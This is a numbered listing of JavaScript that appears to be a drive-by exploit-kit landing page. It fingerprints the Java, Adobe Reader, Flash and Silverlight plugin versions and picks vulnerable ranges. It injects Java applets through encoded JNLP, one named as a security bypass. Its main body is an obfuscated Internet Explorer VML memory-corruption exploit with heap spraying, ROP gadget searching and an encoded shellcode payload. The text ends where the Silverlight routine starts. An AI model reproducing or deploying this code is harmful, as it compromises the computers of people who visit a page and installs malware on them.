  1293.                 if (c = a.getAXO(this.progID)) this.installed = 1;
  1294.                 if (c && this.IsVersionSupported(c, this.mindigit)) {
  1295.                     var d = [].concat(this.mindigit),
  1296.                         e, f = 0;
  1297.                     for (b = 0; b < this.maxdigit.length; b++) {
  1298.                         for (e = 0; 1 < this.maxdigit[b] - this.mindigit[b] && 20 > e;) e++, f++, d[b] = Math.round((this.maxdigit[b] + this.mindigit[b]) / 2), this.IsVersionSupported(c, d) ? this.mindigit[b] = d[b] : this.maxdigit[b] = d[b];
  1299.                         d[b] = this.mindigit[b]
  1300.                     }
  1301.                     this.version = this.format(d);
  1302.                 }
  1303.                 return this
  1304.             }
  1305.         }
  1306.     });
  1307.     var y = {
  1308.         setPluginStatus: function() {
  1309.             var b = this.nav.detected,
  1310.                 c = this.axo.detected,
  1311.                 d = this.axo.version,
  1312.                 e = this.doc.detected,
  1313.                 f = this.doc.version,
  1314.                 d = this.nav.version || d || f || null;
  1315.             this.installed = d ? 1 : 0 < b || 0 < c || 0 < e ? 0 : -0.5 == e ? -0.15 : !a.browser.isIE || a.browser.ActiveXEnabled && !a.browser.ActiveXFilteringEnabled ? -1 : -1.5;
  1316.             this.version = a.formatNum(d);
  1317.         },
  1318.         getVersion: function(b, c) {
  1319.             var d = 0;
  1320.             (!d || a.dbug) && 0 < this.nav.query().detected && (d = 1);
  1321.             (!d || a.dbug) && 0 < this.axo.query().detected && (d = 1);
  1322.             d && !a.dbug || this.doc.query();
  1323.             this.setPluginStatus()
  1324.         },
  1325.         nav: {
  1326.             detected: 0,
  1327.             version: null,
  1328.             mimeType: ["application/pdf", "application/vnd.adobe.pdfxml"],
  1329.             find: "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",
  1330.             plugins: ["Adobe Acrobat", "Adobe Acrobat and Reader Plug-in", "Adobe Reader Plugin"],
  1331.             query: function() {
  1332.                 var b, c = null;
  1333.                 if (this.detected || !a.hasMimeType(this.mimeType)) return this;
  1334.                 this.detected = (b = a.pd.findNavPlugin({
  1335.                     find: this.find,
  1336.                     mimes: this.mimeType,
  1337.                     plugins: this.plugins
  1338.                 })) ? 1 : -1;
  1339.                 b && (c = a.getNum(b.description) || a.getNum(b.name), c = a.getPluginFileVersion(b, c), c || (c = this.attempt3()), c && (this.version = c));
  1340.                 return this
  1341.             },
  1342.             attempt3: function() {
  1343.                 var b = null;
  1344.                 1 == a.OS && (a.hasMimeType("application/vnd.adobe.pdfxml") ? b = "9" : a.hasMimeType("application/vnd.adobe.x-mars") ? b = "8" : a.hasMimeType("application/vnd.adobe.xfdf") && (b = "6"));
  1345.                 return b
  1346.             }
  1347.         },
  1348.         pluginQuery: function(b) {
  1349.             var c = "",
  1350.                 d = null,
  1351.                 e, f;
  1352.             try {
  1353.                 b && (c = b.GetVersions())
  1354.             } catch (g) {}
  1355.             if (c && a.isString(c))
  1356.                 for (b = /=\s*([\d\.]+)/g, e = 0; 30 > e; e++)
  1357.                     if (b.test(c)) {
  1358.                         if (f = a.formatNum(RegExp.$1), !d || 0 < a.compareNums(f > d)) d = f
  1359.                     } else break;
  1360.             return d
  1361.         },
  1362.         axo: {
  1363.             detected: 0,
  1364.             version: null,
  1365.             progID: ["AcroPDF.PDF", "AcroPDF.PDF.1", "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"],
  1366.             query: function() {
  1367.                 var b = y,
  1368.                     c, d = null,
  1369.                     e;
  1370.                 if (this.detected) return this;
  1371.                 this.detected = -1;
  1372.                 for (e = 0; e < this.progID.length; e++)
  1373.                     if (c = a.getAXO(this.progID[e]))
  1374.                         if (this.detected = 1, d = b.pluginQuery(c), !a.dbug && d) break;
  1375.                 d && (this.version = d);
  1376.                 return this
  1377.             }
  1378.         },
  1379.         doc: {
  1380.             detected: 0,
  1381.             version: null,
  1382.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1383.             classID_dummy: "clsid:CA8A9780-280D-11CF-A24D-BA9876543210",
  1384.             DummySpanTagHTML: 0,
  1385.             HTML: 0,
  1386.             DummyObjTagHTML1: 0,
  1387.             DummyObjTagHTML2: 0,
  1388.             isDisabled: function() {
  1389.                 var b = 0;
  1390.                 this.HTML ? b = 1 : a.dbug || a.DOM.isEnabled.objectTagUsingActiveX() || (b = 1);
  1391.                 return b
  1392.             },
  1393.             query: function() {
  1394.                 var b = y,
  1395.                     c = null,
  1396.                     c = a.DOM.altHTML,
  1397.                     d;
  1398.                 if (this.isDisabled()) return this;
  1399.                 this.DummySpanTagHTML || (this.DummySpanTagHTML = a.DOM.insert("", [], [], c, b, 1));
  1400.                 this.HTML || (this.HTML = a.DOM.insert("object", ["classid", this.classID], [], c, b, 1));
  1401.                 this.DummyObjTagHTML2 || (this.DummyObjTagHTML2 = a.DOM.insert("object", ["classid", this.classID_dummy], [], c, b, 1));
  1402.                 d = a.DOM.getTagStatus(this.HTML, this.DummySpanTagHTML, this.DummyObjTagHTML1, this.DummyObjTagHTML2, null, 1);
  1403.                 c = b.pluginQuery(this.HTML.obj());
  1404.                 this.detected = 0 < d || c ? 1 : -0.1 == d || -0.5 == d ? -0.5 : -1;
  1405.                 this.version = c ? c : null;
  1406.                 return this
  1407.             }
  1408.         }
  1409.     };
  1410.     a.addPlugin("adobereader", y);
  1411. })();
  1412. j_version = PluginDetect.getVersion('Java');
  1413. p_version = PluginDetect.getVersion('AdobeReader');
  1414. f_version = PluginDetect.getVersion('Flash');
  1415. s_version = PluginDetect.getVersion('Silverlight');
  1416. if (j_version != null) {
  1417.     j_version = j_version.split(",");
  1418. } else {
  1419.     j_version = [0, 0, 0, 0];
  1420. }
  1421. if (p_version != null) {
  1422.     p_version = p_version.split(",");
  1423. } else {
  1424.     p_version = [0, 0, 0, 0];
  1425. }
  1426. if (f_version != null) {
  1427.     f_version = f_version.split(",");
  1428. } else {
  1429.     f_version = [0, 0, 0, 0];
  1430. }
  1431. if (s_version != null) {
  1432.     s_version = s_version.split(",");
  1433. } else {
  1434.     s_version = [0, 0, 0, 0];
  1435. }
  1436.  
  1437. function fg(url, width, height) {
  1438.     var s1 = document.createElement("if37ra22me".replace(/[0-9]/g, ""));
  1439.     s1["s21etA11ttribute".replace(/[0-9]/g, "")]("sr70c".replace(/[0-9]/g, ""), url);
  1440.     s1["se63tAt71tribute".replace(/[0-9]/g, "")]("w79idt21h".replace(/[0-9]/g, ""), width);
  1441.     s1["s31etAttr1ibute".replace(/[0-9]/g, "")]("he102igh3t".replace(/[0-9]/g, ""), height);
  1442.     document.body.appendChild(s1);
  1443. }
  1444.  
  1445. function ffbgrnth5we(a) {
  1446.     document.write(a);
  1447. }
  1448.  
  1449. function asfwe(aa) {
  1450.     if (aa == 1) return ffbgrnth5we('<applet code="Mikado.class" archive="/b302d5a5d779dc6/1413750840"><param name="ldcrlio" value="AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  1451.     if (aa == 2) return ffbgrnth5we('<applet><param name="jnlp_href" value="Mikado.jnlp" /><param name="jnlp_embedded" value="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJpdHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgICA8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAgICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iL2IzMDJkNWE1ZDc3OWRjNi8xNDEzNzUwODQwIiBtYWluPSJ0cnVlIiAvPg0KICA8L3Jlc291cmNlcz4NCiAgPGFwcGxldC1kZXNjIG5hbWU9IkFGdWNrIE9mZiIgaGVpZ2h0PSIxIiAgIHdpZHRoPSIxIiBtYWluLWNsYXNzPSJNaWthZG8iPg0KICAgICA8cGFyYW0gdmFsdWU9InRydWUiIG5hbWU9Il9fYXBwbGV0X3Nzdl92YWxpZGF0ZWQiIC8+DQoNCiAgPC9hcHBsZXQtZGVzYz4NCjwvam5scD4=" /><param name="ldcrlio" value="AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  1452.     if (aa == 3) return ffbgrnth5we('<applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_embedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0KICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCiAgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Ii9iMzAyZDVhNWQ3NzlkYzYvMTQxMzc1MDg0MCIgbWFpbj0idHJ1ZSIgLz4NCiAgICAgICAgICAgIDwvcmVzb3VyY2VzPg0KICAgICAgICAgICAgPGpmeDpqYXZhZngtZGVzYyBtYWluLWNsYXNzPSJSYWR2YSIgcHJlbG9hZGVyLWNsYXNzPSJNaWthZG8iIG5hbWU9IkFwcCIvPg0KICAgICAgICAgICAgPGFwcGxldC1kZXNjIG5hbWU9IkFzZGYiIG1haW4tY2xhc3M9IlZhc2RhIiB3aWR0aD0iMyIgaGVpZ2h0PSIzIj4NCiAgICAgICAgICAgIDwvYXBwbGV0LWRlc2M+PC9qbmxwPg==" /> <param name="javafx_version" value="2.0+" /> <param name="ldcrlio" value="AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlHw" /> <param name="t" value="0" /> <param name="tt" value="0" />   </applet>');
  1453. }
  1454. java_enable = 0;
  1455. java_run = 0;
  1456. if (j_version[0] > 0 && j_version[1] < 7) {
  1457.     java_enable = 1;
  1458.     java_run = 1;
  1459. }
  1460. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17) {
  1461.     java_enable = 1;
  1462.     java_run = 2;
  1463. }
  1464. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21) {
  1465.     java_enable = 1;
  1466.     java_run = 3;
  1467. }
  1468.  
  1469. function CheckVersion11(f_version) {
  1470.     if (f_version[0] != 11) return false;
  1471.     if (f_version[1] > 9) return false;
  1472.     if (f_version[1] == 9 && f_version[2] > 900) return false;
  1473.     if (f_version[1] == 9 && f_version[2] == 900 && f_version[3] > 170) return false;
  1474.     return true;
  1475. }
  1476.  
  1477. function CheckVersion12(f_version) {
  1478.     if (f_version[0] != 12) return false;
  1479.     return true;
  1480. }
  1481.  
  1482. function CheckVersion13(f_version) {
  1483.     if (f_version[0] != 13) return false;
  1484.     if (f_version[0] == 13 && f_version[1] == 0 && f_version[2] == 0 && f_version[3] > 241) return false;
  1485.     return true;
  1486. }
  1487.  
  1488. function CheckVersion14(f_version) {
  1489.     if (f_version[0] != 14) return false;
  1490.     if (f_version[0] == 14 && f_version[1] == 0 && f_version[2] == 0 && f_version[3] > 179) return false;
  1491.     return true;
  1492. }
  1493.  
  1494. function CheckVersion15(f_version) {
  1495.     if (f_version[0] != 15) return false;
  1496.     if (f_version[0] == 15 && f_version[1] == 0 && f_version[2] == 0 && f_version[3] != 144) return false;
  1497.     return true;
  1498. }
  1499.  
  1500. function msie_run() {
  1501.     try {
  1502.         wondow.docume() = 'urn:schemas-microsoft-com:vml';
  1503.     } catch (e) {
  1504.         try {
  1505.             document['namespaces'].add('Bd1jrjkXu', 'urn:schemas-microsoft-com:vml', '#default#VML');
  1506.         } catch (e) {}
  1507.     }
  1508.     document['createStyleSheet']()['cssText'] = 'Bd1jrjkXu:*{behavior:url(#default#VML);display:inline-block;}';
  1509.     var v1 = "<Bd1jrjkXu:oval><Bd1jrjkXu:stroke id='VTRei'></Bd1jrjkXu:stroke></Bd1jrjkXu:oval>";
  1510.     var v2 = "<Bd1jrjkXu:oval><Bd1jrjkXu:stroke id='iukX7q0'></Bd1jrjkXu:stroke></Bd1jrjkXu:oval>";
  1511.     document.body.insertAdjacentHTML('afterbegin', v1);
  1512.     document.body.insertAdjacentHTML('afterbegin', v2);
  1513.     aha = [];
  1514.     sec = [];
  1515.     jay = [];
  1516.     bin = [];
  1517.     ewe = null;
  1518.     pen = null;
  1519.     bel = null;
  1520.     gum = null;
  1521.     toy = null;
  1522.     met = null;
  1523.     lye = null;
  1524.     mim = null;
  1525.     vim = null;
  1526.     mun = null;
  1527.     jet = null;
  1528.     duo = null;
  1529.     lib = null;
  1530.     cat = null;
  1531.     gee = null;
  1532.     aff = null;
  1533.     aas = null;
  1534.  
  1535.     function bam() {
  1536.         var m, g, d, j, l;
  1537.         try {
  1538.             j = navigator.userAgent.toLowerCase();
  1539.             m = /MSIE[\/\s]\d+/i.test(j);
  1540.             d = /WOW64;/i.test(j);
  1541.             g = /Win64;/i.test(j);
  1542.             l = /Trident\/(\d)/i.test(j) ? parseInt(RegExp.$1) : null;
  1543.             if (!g && m && l && (l == 6 || l == 5 || l == 4)) {
  1544.                 pen = l;
  1545.                 bel = d;
  1546.                 return true
  1547.             }
  1548.         } catch (exc) {}
  1549.         return false
  1550.     }
  1551.  
  1552.     function mid(m, v, d) {
  1553.         var u;
  1554.         if (m.length < v.length) {
  1555.             return -1
  1556.         }
  1557.         if (d) {
  1558.             if (m.substr(m.charCodeAt(0) == 0 ? 1 : 0, v.length) == v) {
  1559.                 return 0
  1560.             }
  1561.         } else {
  1562.             u = m.length - v.length;
  1563.             if (m.charCodeAt(m.length - 1) == 0) {
  1564.                 u++
  1565.             }
  1566.             if (m.substr(u, v.length) == v) {
  1567.                 return u
  1568.             }
  1569.         }
  1570.         return -1
  1571.     }
  1572.  
  1573.     function rap(j) {
  1574.         var g, m, t;
  1575.         t = '';
  1576.         for (m = 0; m < j.length; m++) {
  1577.             g = j.charCodeAt(m);
  1578.             t += String.fromCharCode(g & 0xff);
  1579.             t += String.fromCharCode((g & 0xff00) >> 8)
  1580.         }
  1581.         return t
  1582.     }
  1583.  
  1584.     function tet(p) {
  1585.         var r, j;
  1586.         r = '';
  1587.         if (p.length % 2) {
  1588.             p += unescape('%00')
  1589.         }
  1590.         for (j = 0; j < p.length; j += 2) {
  1591.             r += '%u';
  1592.             r += ope(p.charCodeAt(j + 1), 2);
  1593.             r += ope(p.charCodeAt(j), 2)
  1594.         }
  1595.         return r
  1596.     }
  1597.  
  1598.     function waw(q) {
  1599.         return rap(unescape(owl(q)))
  1600.     }
  1601.  
  1602.     function owl(v) {
  1603.         var j, k;
  1604.         k = v & 0xFFFF;
  1605.         j = (v >> 16) & 0xFFFF;
  1606.         return '%u' + ope(k, 4) + '%u' + ope(j, 4)
  1607.     }
  1608.  
  1609.     function tee(f) {
  1610.         gum.dashstyle.array.item(0x44) = f;
  1611.         return sec[toy].marginLeft
  1612.     }
  1613.  
  1614.     function ope(u, j) {
  1615.         var k;
  1616.         k = u.toString(16);
  1617.         while (k.length < j) {
  1618.             k = '0' + k
  1619.         }
  1620.         return k
  1621.     }
  1622.  
  1623.     function gal(u) {
  1624.         var y;
  1625.         y = '';
  1626.         if (u.length > 1) {
  1627.             y = ope(u.charCodeAt(1), 4) + ope(u.charCodeAt(0), 4)
  1628.         } else {
  1629.             y = ope(u.charCodeAt(0), 4)
  1630.         }
  1631.         return parseInt(y, 16)
  1632.     }
  1633.  
  1634.     function gan(t) {
  1635.         var h, b, a;
  1636.         for (a = 0; a < 3; a++) {
  1637.             h = tee(t + a);
  1638.             if (h) {
  1639.                 b = gal(h);
  1640.                 b <<= a * 8;
  1641.                 return b
  1642.             }
  1643.         }
  1644.         return 0
  1645.     }
  1646.  
  1647.     function hen() {
  1648.         var j, q, z, r;
  1649.         r = gan(0x7ffe0268) & 0x0f;
  1650.         q = r ? gan(0x7ffe0264) : null;
  1651.         z = gan(0x7ffe026c);
  1652.         j = gan(0x7ffe0270);
  1653.         if (z == 5 && (j == 1 || j == 2) && q == 1) {
  1654.             return 1
  1655.         } else if (z == 6 && j == 0 && q == 1) {
  1656.             return 2
  1657.         } else if (z == 6 && j == 1 && q == 1) {
  1658.             return 3
  1659.         } else {
  1660.             return 0
  1661.         }
  1662.     }
  1663.  
  1664.     function gor() {
  1665.         return bel ? gan(0x7ffe0340) : gan(0x7ffe0300)
  1666.     }
  1667.  
  1668.     function yup(l) {
  1669.         var n, v, o, i;
  1670.         i = null;
  1671.         if (l) {
  1672.             l &= 0xffff0000;
  1673.             while (1) {
  1674.                 if ((gan(l) & 0xffff) == 0x5a4d) {
  1675.                     i = l;
  1676.                     break
  1677.                 }
  1678.                 l -= 0x10000
  1679.             }
  1680.             if (i) {
  1681.                 n = i + gan(i + 0x3c);
  1682.                 if (gan(n) == 0x4550) {
  1683.                     v = gan(n + 0x1c);
  1684.                     o = gan(n + 0x2c);
  1685.                     if (v && o) {
  1686.                         return {
  1687.                             a: i + o,
  1688.                             b: i + o + v
  1689.                         }
  1690.                     }
  1691.                 }
  1692.             }
  1693.         }
  1694.         return null
  1695.     }
  1696.  
  1697.     function sow() {
  1698.         var p, u, p, d, p;
  1699.         for (p = 0; p < 0x400; p++) {
  1700.             aha[p] = document.createElement('Bd1jrjkXu:shape');
  1701.             document.body.appendChild(aha[p])
  1702.         }
  1703.         gum = document.getElementById('VTRei');
  1704.         for (p = 0; p < 0x400; p++) {
  1705.             sec[p] = aha[p]._vgRuntimeStyle
  1706.         }
  1707.         for (p = 0; p < 0x400; p++) {
  1708.             sec[p].rotation;
  1709.             if (p == 0x300) {
  1710.                 gum.dashstyle = '1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44'
  1711.             }
  1712.         }
  1713.         lye = gum.dashstyle.array.length;
  1714.         try {
  1715.             gum.dashstyle.array.length = 0 - 1
  1716.         } catch (exc) {
  1717.             return false
  1718.         }
  1719.         for (p = 0; p < 0x400; p++) {
  1720.             sec[p].marginLeft = 'a';
  1721.             d = gum.dashstyle.array.item(0x44);
  1722.             if (d > 0) {
  1723.                 met = d;
  1724.                 toy = p;
  1725.                 return true
  1726.             }
  1727.         }
  1728.         return false
  1729.     }
  1730.  
  1731.     function tat() {
  1732.         if (gum) {
  1733.             if (met) {
  1734.                 gum.dashstyle.array.item(0x44) = met
  1735.             }
  1736.             gum.dashstyle.array.length = lye
  1737.         }
  1738.     }
  1739.  
  1740.     function opt() {
  1741.         var g, s, a, n, p, t, m, b, x, h, w, v, k, j, z, l, c, f, y, i, r, u, o;
  1742.         m = hen();
  1743.         if (m == 0) {
  1744.             return
  1745.         }
  1746.         j = gor();
  1747.         if (!j) {
  1748.             return
  1749.         }
  1750.         l = yup(j);
  1751.         if (!l) {
  1752.             return
  1753.         }
  1754.         n = unescape('%94%c3');
  1755.         c = unescape('%5a%c3');
  1756.         o = unescape('%ff%06%c3');
  1757.         r = unescape('%ff%07%c3');
  1758.         s = unescape('%5e%c3');
  1759.         u = unescape('%5f%c3');
  1760.         y = null;
  1761.         z = null;
  1762.         if (bel) {
  1763.             y = unescape('%b8%4d');
  1764.             z = unescape('%33%c9%8d%54%24%04%64%ff%15%c0')
  1765.         } else {
  1766.             if (m == 1) {
  1767.                 y = unescape('%b8%89')
  1768.             } else if (m == 2) {
  1769.                 y = unescape('%b8%d2')
  1770.             } else if (m == 3) {
  1771.                 y = unescape('%b8%d7')
  1772.             }
  1773.             z = unescape('%ba%00%03%fe%7f%ff%12%c2%14')
  1774.         }
  1775.         b = null;
  1776.         h = null;
  1777.         t = null;
  1778.         f = null;
  1779.         v = null;
  1780.         x = l.a;
  1781.         i = l.b;
  1782.         while (x < i) {
  1783.             a = tee(x);
  1784.             if (a) {
  1785.                 p = null;
  1786.                 k = rap(a);
  1787.                 if (!cat && (v || (p = mid(k, y, false)) != -1)) {
  1788.                     if (!v) {
  1789.                         v = x + p
  1790.                     } else if (mid(k, z, true) != -1) {
  1791.                         cat = v
  1792.                     } else {
  1793.                         v = null
  1794.                     }
  1795.                 }
  1796.                 if (!duo && (p = k.indexOf(n)) != -1) {
  1797.                     duo = x + p
  1798.                 }
  1799.                 if (!lib && (p = k.indexOf(c)) != -1) {
  1800.                     lib = x + p
  1801.                 }
  1802.                 g = (b && t);
  1803.                 w = (h && f);
  1804.                 if (!g) {
  1805.                     if (!b && (p = k.indexOf(o)) != -1) {
  1806.                         b = x + p
  1807.                     }
  1808.                     if (!t && (p = k.indexOf(s)) != -1) {
  1809.                         t = x + p
  1810.                     }
  1811.                 }
  1812.                 if (!w) {
  1813.                     if (!h && (p = k.indexOf(r)) != -1) {
  1814.                         h = x + p
  1815.                     }
  1816.                     if (!f && (p = k.indexOf(u)) != -1) {
  1817.                         f = x + p
  1818.                     }
  1819.                 }
  1820.                 if (duo && lib && cat && (g || w)) {
  1821.                     break
  1822.                 }
  1823.                 x += k.length
  1824.             }
  1825.             x += 2
  1826.         }
  1827.         if (g || w) {
  1828.             if (g) {
  1829.                 gee = b;
  1830.                 aff = t
  1831.             } else {
  1832.                 gee = h;
  1833.                 aff = f
  1834.             }
  1835.         }
  1836.         return (duo && lib && cat && gee && aff)
  1837.     }
  1838.  
  1839.     function sel() {
  1840.         var u, n, o, w;
  1841.         mim = document.getElementById('iukX7q0');
  1842.         for (w = 0; w < 0x400; w++) {
  1843.             jay[w] = aha[w]._anchorRect;
  1844.             if (w == 0x300) {
  1845.                 mim.dashstyle = '1 2 3 4'
  1846.             }
  1847.         }
  1848.         u = mim.dashstyle.array.length;
  1849.         try {
  1850.             mim.dashstyle.array.length = 0 - 1
  1851.         } catch (exc) {
  1852.             return null
  1853.         }
  1854.         n = mim.dashstyle.array.item(6);
  1855.         o = mim.dashstyle.array.item(7);
  1856.         if (n > 0 && o > 0 && mim.dashstyle.array.item(8) == 1) {
  1857.             vim = n;
  1858.             mun = o;
  1859.             jet = u;
  1860.             return true
  1861.         }
  1862.         mim.dashstyle.array.length = length;
  1863.         return false
  1864.     }
  1865.  
  1866.     function mor() {
  1867.         if (mim && mun && jet) {
  1868.             mim.dashstyle.array.item(7) = mun;
  1869.             mim.dashstyle.array.length = jet
  1870.         }
  1871.     }
  1872.  
  1873.     function hun() {
  1874.         var a, g, x, q, u, t, i;
  1875.         x = yup(vim);
  1876.         if (!x) {
  1877.             return false
  1878.         }
  1879.         a = unescape('%8b%01%ff%50%04');
  1880.         i = x.a;
  1881.         g = x.b;
  1882.         while (i < g) {
  1883.             q = tee(i);
  1884.             if (q) {
  1885.                 u = null;
  1886.                 t = rap(q);
  1887.                 if ((u = t.indexOf(a)) != -1) {
  1888.                     aas = i + u;
  1889.                     return true
  1890.                 }
  1891.                 i += t.length
  1892.             }
  1893.             i += 2
  1894.         }
  1895.         return false
  1896.     }
  1897.  
  1898.     function kaf() {
  1899.         var l;
  1900.         l = 'AB';
  1901.         while (l.length < 0x40000) {
  1902.             l += l
  1903.         }
  1904.         return l.substring(0, 0x3FFED) + 'XXX'
  1905.     }
  1906.  
  1907.     function bug() {
  1908.         var d, v, c;
  1909.         c = pen == 6 ? '%8d%76%04' : '%90%90%90';
  1910.         v = pen == 6 ? '%f8' : '%fc';
  1911.         d = pen == 6 ? '%f0' : '%f4';
  1912.         return unescape('%eb%1f%60%8b%44%24%20%ff%d0%61%8b%75%08' + c + '%c7%06' + waw(mun) + '%8d%65' + v + '%8b%45' + d + '%83%e8%08%ff%e0%e8%dc%ff%ff%ff')
  1913.     }
  1914.  
  1915.     function peh() {
  1916.         var n, c, s, v, a, j, h, q;
  1917.         gum.dashstyle.array.item(0x44) = met;
  1918.         a = kaf();
  1919.         v = bug();
  1920.         n = tet(ewe);
  1921.         for (q = 0; q < 7; q++) {
  1922.             sec[toy].marginLeft = a;
  1923.             h = met = gum.dashstyle.array.item(0x44);
  1924.             j = h + a.length * 2;
  1925.             s = unescape(owl(j + 4) + owl(j + 0x0c) + owl(aas) + owl(lib) + owl(duo) + owl(aff) + owl(j + 0x41) + owl(gee) + owl(aff) + owl(j + 0x4e) + owl(gee) + owl(cat) + owl(j + 0x54) + owl(0xffffffff) + owl(j + 0x48) + owl(j + 0x4c) + owl(0xffffff40) + owl(j + 0x4F) + owl(j + 0x54) + owl(0xffff0400) + owl(0x41414141) + tet(v) + n);
  1926.             sec[toy].marginLeft += s;
  1927.             c = gum.dashstyle.array.item(0x44);
  1928.             if (h == c) {
  1929.                 return j
  1930.             }
  1931.         }
  1932.         return null
  1933.     }
  1934.  
  1935.     function ty(s) {
  1936.         b = '';
  1937.         for (i = 0; i < (s.length / 2); i++) {
  1938.             b += String.fromCharCode('0x' + s.substr(i * 2, 2));
  1939.         }
  1940.         return b;
  1941.     }
  1942.  
  1943.     function man() {
  1944.         var h, q;
  1945.         if (!bam()) {
  1946.             return
  1947.         }
  1948.         if (!sow()) {
  1949.             return
  1950.         }
  1951.         if (!opt()) {
  1952.             return
  1953.         }
  1954.         if (!sel()) {
  1955.             return
  1956.         }
  1957.         if (!hun()) {
  1958.             return
  1959.         }
  1960.         q = peh();
  1961.         if (!q) {
  1962.             return
  1963.         }
  1964.         mim.dashstyle.array.item(7) = q;
  1965.         for (h = 0; h < 0x400; h++) {
  1966.             bin[h] = document.createElement('div');
  1967.             bin[h].classname = jay[h]
  1968.         }
  1969.         return
  1970.     }
  1971.  
  1972.     function nib(d) {
  1973.         ewe = d;
  1974.         man();
  1975.         tat();
  1976.         mor();
  1977.         return
  1978.     };
  1979.     jo = ty("60EB1358B97E030000498034081C85C975F7FFD061C3E8E8FFFFFFF5171F1C1C424995F97473721C1C74696E70714874925212F0740BD63772F4481E1C1C45457479F353194CF48C1E1C1C4C761A761C74071AD41174FA266B32F42F1E1C1C2DC7AB0C765C4F4F761C7448D6B38D740BD63772F4061E1C1C8B747D9DC5D3740BD63772F4161E1C1C201A600C4F4BF4A11C1C1C9CE03C6118761DF71E761C4A4BF4991C1C1C4A91685B1AF4731C1C1C99DC694A76174555684C4D9F61E41D68064AF48F1D1C1C99DC69062DDC78975C04975C2821F81E1C1C69C74AF4CE1C1C1C99DC68CD45422DDC5A245AE369E6241A69B04B5B5B7A251B69E5DB1B271C2D1C916B1A43F4091C1C1CD5DF761C76E2748473532174EEC768B1F4681D1C1C2DD54D4D4F4A4B4DE349E0DF4995F9761C74391C4F1C95FCE369104CE369147462569FCB74EEC768B1F45A1D1C1CD5DE141C4995F94A4BA26BF7173D4C48761476E37413BB02454AF43B1D1C1C468DFF209761144C48E369104B76054E744672C7C74AF4101D1C1C8D44FF3DE32B74D1906BED4AF4E71C1C1C13AA14554DE32B742E621A3C4AF4F51C1C1C97148D4342D5DE141C4A4B4995F997690C4A5A7A9F221C69E591621FF40D1C1C1C337F3C6F687D6E683C3E3E3C3E396F3E1C4BF455E3E3E391685B1E4B4A7462569FCB74EEC768B1F4801C1C1C76204535D09161D84D4B2DDCEFB643931B766F74721C7D1C746E1C691C957B10741DE9097E741AFEB12EF4711C1C1C955B14F40C1C1C1C7F1C711C781C321C791C641C791C1C1C935B0C956B084B74C1C432E074E66689F8F4231C1C1CD54342DE181C4995F976484535D04B9161B04B2DDCEFB64391530C7658931D4B4D4C4C4C4C4C4C4CE369147494E2AF0A740BD63772F4191C1C1C43D5DE181C45F4151C1C1C4CF4211C1C1C4DE3FC7C2DDC78974C2C974E10974E08976E342DE32DDCB05A99DC6811207D601E303CDDD3111DDBF7F727603838975E0C970E69C7955838007DDE181C7C97703838975920974819641DF697560497463C1DF7FF28559728971DF22DE32DDCE0B098DC681BDDD3111DDBF7E82760383469FD9746381DF77A9710579746001DF79718971DF4955838007DDE141CF4ECE0E3E37468686C2633337F756F7F73716C7465327F7A337E2F2C2E78297D29787F2A332D282D2F2B292C24282C332940642C2C292928792C2A2924292829252C242C252C2B2C292928292D2978292A297E2C2D2C7E2C2F292D2C2C292F292F297F2C292C29272D272A1C1C1C000000");
  1980.     try {
  1981.         document.body++
  1982.     } catch (exc) {
  1983.         nib(jo)
  1984.     }
  1985. }
  1986.  
  1987. function silver_run() {
